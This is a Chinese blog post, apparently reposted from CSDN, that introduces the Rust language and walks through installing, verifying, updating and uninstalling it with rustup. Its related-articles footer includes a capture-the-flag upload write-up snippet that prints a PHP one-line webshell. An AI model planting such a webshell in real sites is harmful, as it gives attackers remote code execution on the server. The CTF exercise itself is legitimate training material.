【Rust】——rust前言与安装rust

🎃个人专栏:

🐬 算法设计与分析:算法设计与分析_IT闫的博客-CSDN博客

🐳Java基础:Java基础_IT闫的博客-CSDN博客

🐋c语言:c语言_IT闫的博客-CSDN博客

🐟MySQL:数据结构_IT闫的博客-CSDN博客

🐠数据结构:​​​​​​数据结构_IT闫的博客-CSDN博客

💎C++:C++_IT闫的博客-CSDN博客

🥽C51单片机:C51单片机(STC89C516)_IT闫的博客-CSDN博客

💻基于HTML5的网页设计及应用:基于HTML5的网页设计及应用_IT闫的博客-CSDN博客​​​​​​

🥏python:python_IT闫的博客-CSDN博客

🐠离散数学:离散数学_IT闫的博客-CSDN博客

​​​​​​🥽Linux:​​​​Linux_Y小夜的博客-CSDN博客

🚝Rust:Rust_Y小夜的博客-CSDN博客

欢迎收看,希望对大家有用!

目录

🎯前言

🎯在Windows上安装

🎯在Linux或macOS上安装

🎯检查是否正确安装了 Rust

🎯更新与卸载Rust

🎯开发工具

🎯特别注意


🎯前言

        Rust 程序设计语言的本质实际在于 赋能empowerment):无论你现在编写的是何种代码,Rust 能让你在更为广泛的编程领域走得更远,写出自信。

        Rust优点:它消除了旧的陷阱,并提供了伴你一路同行的友好、精良的工具。想要 “深入” 底层控制的程序员可以使用 Rust,无需时刻担心出现崩溃或安全漏洞,也无需因为工具链不靠谱而被迫去了解其中的细节。更妙的是,语言设计本身会自然而然地引导你编写出可靠的代码,并且运行速度和内存使用上都十分高效。

        Rust缺点

  1. 学习曲线陡峭:Rust是一种相对较新的编程语言,具有独特的语法和概念,这使得学习Rust相对较困难。对于那些没有系统编程经验或没有接触过类似的语言的开发人员来说,学习Rust可能需要更多的时间和努力。

  2. 严格的所有权模型:Rust的所有权模型是其最大的特点之一,它确保了内存安全和线程安全。然而,这也意味着在编写Rust代码时,开发人员需要更多地考虑所有权和借用规则,这可能增加了编程的复杂性。

  3. 缺乏成熟的生态系统:与一些其他编程语言相比,Rust的生态系统相对较小。虽然Rust拥有一些非常有用的库和工具,但与其他更成熟的语言相比,Rust的生态系统还不够丰富。这可能导致在某些情况下,开发人员需要自己实现一些常见的功能或依赖于不够成熟的第三方库。

  4. 编译时间较长:Rust是一种静态类型语言,它使用了一些复杂的类型推导和编译优化技术。这使得Rust的编译时间相对较长,特别是对于大型项目来说。这可能会影响开发人员的迭代速度和开发效率。

  5. 异步编程的复杂性:Rust提供了一些强大的异步编程工具,如async/await和Future。然而,与其他一些语言相比,Rust的异步编程模型可能更加复杂和难以理解。这可能对一些开发人员来说是一个挑战,并且可能需要更多的学习和实践才能熟练掌握。

综上所述,尽管Rust具有许多优点,但它也有一些缺点。开发人员在选择使用Rust时应权衡这些因素,并根据项目的需求和团队的技能水平做出决策。

🎯在Windows上安装

进入Rust下载官网(rust官网)

点击Install

然后点击下载64位的exe文件(现阶段大部分都是64位win10以上版本)

运行exe文件

解释:1.继续安装(一般选择1)。2.自定义安装。3.取消安装

🎯在Linux或macOS上安装

        如果你使用 Linux 或 macOS,打开终端并输入如下命令:

$ curl --proto '=https' --tlsv1.2 https://sh.rustup.rs -sSf | sh

        此命令下载一个脚本并开始安装 rustup 工具,这会安装最新稳定版 Rust。过程中可能会提示你输入密码。如果安装成功,将会出现如下内容:

Rust is installed now. Great!

        另外,你还需要一个 链接器(linker),这是 Rust 用来将其编译的输出连接到一个文件中的程序。很可能你已经有一个了。如果你遇到了链接器错误,请尝试安装一个 C 编译器,它通常包括一个链接器。C 编译器也很有用,因为一些常见的 Rust 包依赖于 C 代码,因此需要安装一个 C 编译器。

在 macOS 上,你可以通过运行以下命令获得 C 语言编译器:

$ xcode-select --install

Linux 用户通常需要根据发行版(distribution)文档安装 GCC 或 Clang。比如,如果你使用 Ubuntu,可以安装 build-essential 包。

🎯检查是否正确安装了 Rust

打开命令行并输入:

$ rustc --version

你应该可以看到按照以下格式显示的最新稳定版本的版本号、对应的 Commit Hash 和 Commit 日期:

rustc x.y.z (abcabcabc yyyy-mm-dd)

如:

如果看到了这样的信息,就说明 Rust 已经安装成功了!(恭喜入坑!!!)

🎯更新与卸载Rust

通过 rustup 安装了 Rust 之后,更新到最新版本就很简单了,只需要在您对应的命令行中运行如下更新脚本:

$ rustup update

若要卸载 Rust 和 rustup,请在命令行中运行如下卸载脚本:

$ rustup self uninstall

🎯开发工具

  • Visual Studio Code

        - Rust插件

老版本:

新版本:

  • CJion(Intelliji Idea系列)

        -Rust插件

🎯特别注意

安装程序也自带一份文档的本地拷贝,可以离线阅读。运行 rustup doc 在浏览器中查看本地文档。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/252101.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 PyTorch 构建 NLP 聊天机器人

一、说明 聊天机器人提供自动对话,可以帮助用户完成任务或寻求信息。随着深度学习的最新进展,聊天机器人正变得越来越具有对话性和实用性。这个全面的教程将利用 PyTorch 和 Python 从头开始构建聊天机器人,涵盖模型架构、数据准备、训练循环…

认识Tomcat (一)

认识Tomcat (一) 一、服务器 1.1 服务器简介 ​ 硬件服务器的构成与一般的PC比较相似,但是服务器在稳定性、安全性、性能等方面都要求更高,因为CPU、芯片组、内存、磁盘系统、网络等硬件和普通PC有所不同。 ​ 软件服务器&…

初始数据库

华子目录 什么是数据库DBMS(数据库管理系统)数据库系统和文件系统的区别文件系统数据库系统对比区别优缺点总结 常见数据库关系型数据库ACID原则关系型数据库的优缺点优点缺点 非关系型数据库存储方式常见的非关系型数据库非关系型数据库的优缺点优点缺点…

BUU UPLOAD COURSE 1

进去之后是一个上传页面 尝试上传一句话木马的php代码&#xff0c;保存为一个1.php&#xff0c;然后上传 <?php eval($_POST[1]);?>发现后缀名被改为jpg了 访问一下 http://a82bcc09-b809-42c9-b5ad-5406b72e5707.node5.buuoj.cn:81/uploads/65bfa77eab1f6.jpg发现可…

代码生成器(新):mybatis-plus-generator使用指南

代码生成器&#xff08;新&#xff09;官网 后端代码&#xff1a;点击查看 LearnElementUiAndSpringBoot 提醒&#xff1a;LearnElementUiAndSpringBoot下载完后&#xff0c;在运行调试 Main.java里的main方法之前&#xff0c;除了utils包和Main.java文件&#xff0c;其他包需…

异地办公必不可缺的远程控制软件,原理到底是什么?

目录 引言远程桌面连接软件的作用与重要性 基本概念与架构客户端-服务器模型网络通信协议 核心技术组件图形界面捕获与传输输入转发会话管理 性能优化策略带宽优化延迟优化 引言 远程桌面连接软件的作用与重要性 在当今这个高度数字化和网络化的时代&#xff0c;远程桌面连接软…

红队渗透靶机:LORD OF THE ROOT: 1.0.1

目录 信息收集 1、arp 2、nmap 3、knock 4、nikto 目录探测 1、gobuster 2、dirsearch WEB sqlmap 爆库 爆表 爆列 爆字段 hydra爆破 ssh登录 提权 信息收集 内核提权 信息收集 1、arp ┌──(root㉿ru)-[~/kali] └─# arp-scan -l Interface: eth0, ty…

U形金属卡

方管不锈钢防盗网挂勾&#xff0c;没找到合适的&#xff0c;自己设计一个。 difference(){ cube([43,20,27]);translate([2,-1,2]) cube([42,29,23]);translate([32,10,-1]) cylinder(50,3,3,$fn360); }if(1){ color("gray") translate([2,-20,2]) cube([23,60,23])…

JAVA中的object类

一、equals方法 1.和equals的比较 既可以判断基本类型有可以判断引用类型 如果判断基本类型&#xff0c;判断的值是否相等 int num1 10; double num2 10.0; System.out.println(num1 num2); 如果判断引用类型&#xff0c;判断的地址是否相等&#xff0c;即判断是不是同一…

myql 项目数据库和表的设计

1.表的设计和创建 2.在navicate运行这些代码 create table user(id int not null auto_increment primary key,name varchar(50) not null unique,password varchar(50) not null,state enum(online,offline) default offline ); create table friend(userid int not null,…

HomeAssistant系统添加HACS插件商店与远程控制家中智能家居

文章目录 基本条件一、下载HACS源码二、添加HACS集成三、绑定米家设备 ​ 上文介绍了如何实现群晖Docker部署HomeAssistant&#xff0c;通过内网穿透在户外控制家庭中枢。本文将介绍如何安装HACS插件商店&#xff0c;将米家&#xff0c;果家设备接入 Home Assistant。 基本条件…

【初中生讲机器学习】5. 从概率到朴素贝叶斯算法,一篇带你看明白!

创建时间&#xff1a;2024-02-04 最后编辑时间&#xff1a;2024-02-05 作者&#xff1a;Geeker_LStar 你好呀~这里是 Geeker_LStar 的人工智能学习专栏&#xff0c;很高兴遇见你~ 我是 Geeker_LStar&#xff0c;一名初三学生&#xff0c;热爱计算机和数学&#xff0c;我们一起加…

[C++]继承(续)

一、基类和派生类对象赋值转换 在public继承时&#xff0c;父类和子类是一个“is - a”的关系。 子类对象赋值给父类对象/父类指针/父类引用&#xff0c;我们认为是天然的&#xff0c;中间不产生临时对象&#xff0c;也叫作父子类赋值兼容规则&#xff08;切割/切片&#xff…

工作与生活平衡:在生活中寻找和谐

工作和生活是我们生活中不断交织的两个重要方面。对许多人来说&#xff0c;找到两者之间的完美平衡已经成为一个持久的挑战。然而&#xff0c;与其专注于平衡&#xff0c;更重要的是要认识到工作和生活并不是可以相互平衡的两个分离实体&#xff0c;而是一个相互影响的循环。正…

服务器和云服务器哪个更安全?

随着云计算技术的不断发展&#xff0c;越来越多的企业开始选择使用云服务器来存储和处理数据。然而&#xff0c;对于一些企业来说&#xff0c;他们可能更倾向于使用传统的服务器。在这种情况下&#xff0c;安全性成为了一个重要的考虑因素。那么&#xff0c;服务器和云服务器哪…

普通编程,机器学习与深度学习

普通编程&#xff1a;基于人手动设置规则&#xff0c;由输入产生输出经典机器学习&#xff1a;人手工指定需要的特征&#xff0c;通过一些数学原理对特征与输出的匹配模式进行学习&#xff0c;也就是更新相应的参数&#xff0c;从而使数学表达式能够更好的根据给定的特征得到准…

windows10忘记密码的解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

【iOS ARKit】3D 人体姿态估计

与基于屏幕空间的 2D人体姿态估计不同&#xff0c;3D人体姿态估计是尝试还原人体在三维世界中的形状与姿态&#xff0c;包括深度信息。绝大多数的现有3D人体姿态估计方法依赖2D人体姿态估计&#xff0c;通过获取 2D人体姿态后再构建神经网络算法&#xff0c;实现从 2D 到 3D人体…

LeetCode 热题 100 | 链表(中下)

目录 1 19. 删除链表的倒数第 N 个节点 2 24. 两两交换链表中的节点 3 25. K 个一组翻转链表 4 138. 随机链表的复制 菜鸟做题第三周&#xff0c;语言是 C 1 19. 删除链表的倒数第 N 个节点 到底是节点还是结点。。。 解题思路&#xff1a; 设置双指针 left 和 ri…

聊聊比特币----比特币地址

⽐特币地址是⼀个标识符&#xff08;帐号&#xff09;&#xff0c;地址可以以QR码形式表⽰&#xff0c;是匿名的&#xff0c;不包含关于所有者的信息。 ⼤多数⽐特币地址(P2PKH,P2SH)是34个字符。它们由随机数字和⼤写字母及⼩写字母组成&#xff0c;除了⼤写字母“O”&#x…